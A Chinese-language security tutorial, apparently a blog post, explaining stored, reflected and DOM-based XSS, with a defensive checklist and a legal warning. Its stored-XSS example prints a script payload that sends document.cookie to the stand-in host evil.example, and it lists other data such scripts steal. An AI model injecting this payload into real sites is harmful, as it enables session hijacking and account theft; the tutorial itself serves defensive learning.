XSS跨站脚本攻击攻击案例拆解-网络安全系列

XSS(跨站脚本攻击)的核心原理一句话:攻击者把可执行脚本注入网页,让脚本在"受害者自己的浏览器、以该网站的身份"运行,从而绕过同源策略窃取本应只属于该网站的数据。下面我先用文字讲清机制和例子,再给你一张流程示意图。

三种类型(按注入与执行方式)

类型 注入方式 触发条件 危害范围
存储型(Stored) 脚本存入服务器数据库(评论区、昵称、留言板) 任何用户打开该页面即触发 最大,可批量感染所有访客
反射型(Reflected) 脚本藏在 URL 参数里,被服务器原样"反射"回页面 受害者点击攻击者构造的链接 单点触发,需诱导点击
DOM 型 不经过服务器,在浏览器端处理数据时拼接执行(如 innerHTML、location.hash) 受害者打开特定链接 单点触发,服务器日志难以察觉

举例:存储型 XSS 窃取登录态(教材级示意)

假设某论坛的评论区对用户输入不转义、原样展示

  1. 攻击者在评论框提交一段看似普通、实则可执行的文本(典型教材示例,如 <script>new Image().src='[https://evil.example/c?='+document.cookie</script>](https://evil.example/c?='+document.cookie</script>),或利用 onerror 属性的 <img> 写法);
  2. 服务器不识别、不过滤,把它存进数据库;其他用户打开帖子时,浏览器把这段内容当作本站的合法代码执行
  3. 脚本读取当前页面域下的 document.cookie(只要 Cookie 没设 HttpOnly),把会话凭证回传到攻击者的服务器
  4. 攻击者拿到 Cookie 后即可"冒充"该用户登录(会话劫持 Session Hijacking),读取私信、订单、个人资料,甚至代发起转账、改密等操作。

除 Cookie 外,注入脚本还能窃取:CSRF Token (绕过转账/改密防护)、localStorage 里的令牌页面 DOM 内容 (页面上的敏感信息)、键盘输入 (记录密码)、剪贴板等。

为什么能做到"非法获取"

关键在权限错位:脚本运行在受害者的浏览器进程里,天然拥有当前网站的完整同源权限;而网站没有对"用户输入"和"自己的代码"做边界区分。攻击者甚至不需要攻破服务器,只借受害者的浏览器当"代理"即可。

防护要点(按阻断环节)

  • 输出编码/转义 (最有效):把 <>"' 转义,用户内容永远按"文本"输出,而不是被浏览器解析为 HTML/JS;
  • 输入校验:白名单校验用户输入;
  • CSP 内容安全策略:禁止内联脚本、限制脚本来源域名;
  • Cookie 加固 :设置 HttpOnly(JS 读不到)+ Secure + SameSite
  • DOM 安全操作 :用 textContent/createTextNode,避免用 innerHTML 拼接用户数据;
  • 使用成熟的 sanitizer 库(如 DOMPurify)清洗富文本。

⚠️ 法律提示:对他人网站 进行未授权的 XSS 测试、利用属违法行为(可能触及《刑法》第 285 条非法获取计算机信息系统数据罪等)。以上内容仅用于安全防御学习和自有系统的漏洞自查。

下面这张图把"注入 → 存储 → 执行 → 窃取 → 回传 → 冒用"的完整链路和可阻断点画了出来:

相关推荐
XLYcmy2 小时前
Prompt 设计相关问题
网络安全·llm·prompt·agent·cot·漏洞检测·harness
sbjdhjd3 小时前
从“删除后重生”到认证绕过:PHP 常驻内存实验与 Cacti remote_agent 命令执行链路复盘
安全·web安全·网络安全·数据挖掘·php·网络攻击模型·安全架构
ccino .3 小时前
Docker 容器删除卡在 Removal In Progress / Dead 解决
服务器·安全·web安全·网络安全
马立杰4 小时前
mysql中Illegal mix of collations for operation “UNION”错误的解决方法
数据库·sql·网络安全
TechWJ21 小时前
没有公网 IP 也想远程连 PostgreSQL?从本地数据库到固定 TCP 地址完整配置
大数据·数据库·网络安全·postgresql·内网穿透
TechWayfarer1 天前
IP地址查询之后:如何在请求抵达前识别风险
python·tcp/ip·网络安全
虹科网络安全2 天前
Redis 安全公告:CVE-2026-81934 TLS 处理漏洞及修复建议
网络·人工智能·网络安全
2501_916008892 天前
全平台抓包工具,Windows、iPhone、Linux三个平台抓包测试
网络协议·计算机网络·网络安全·ios·adb·https·udp
Dachui_11222 天前
ZeroNews LFS 使用教程:NAS 文件发布为公网 HTTPS 文件空间,不传网盘、按人授权、免登录分享
运维·网络安全·文件共享·团队协作·nas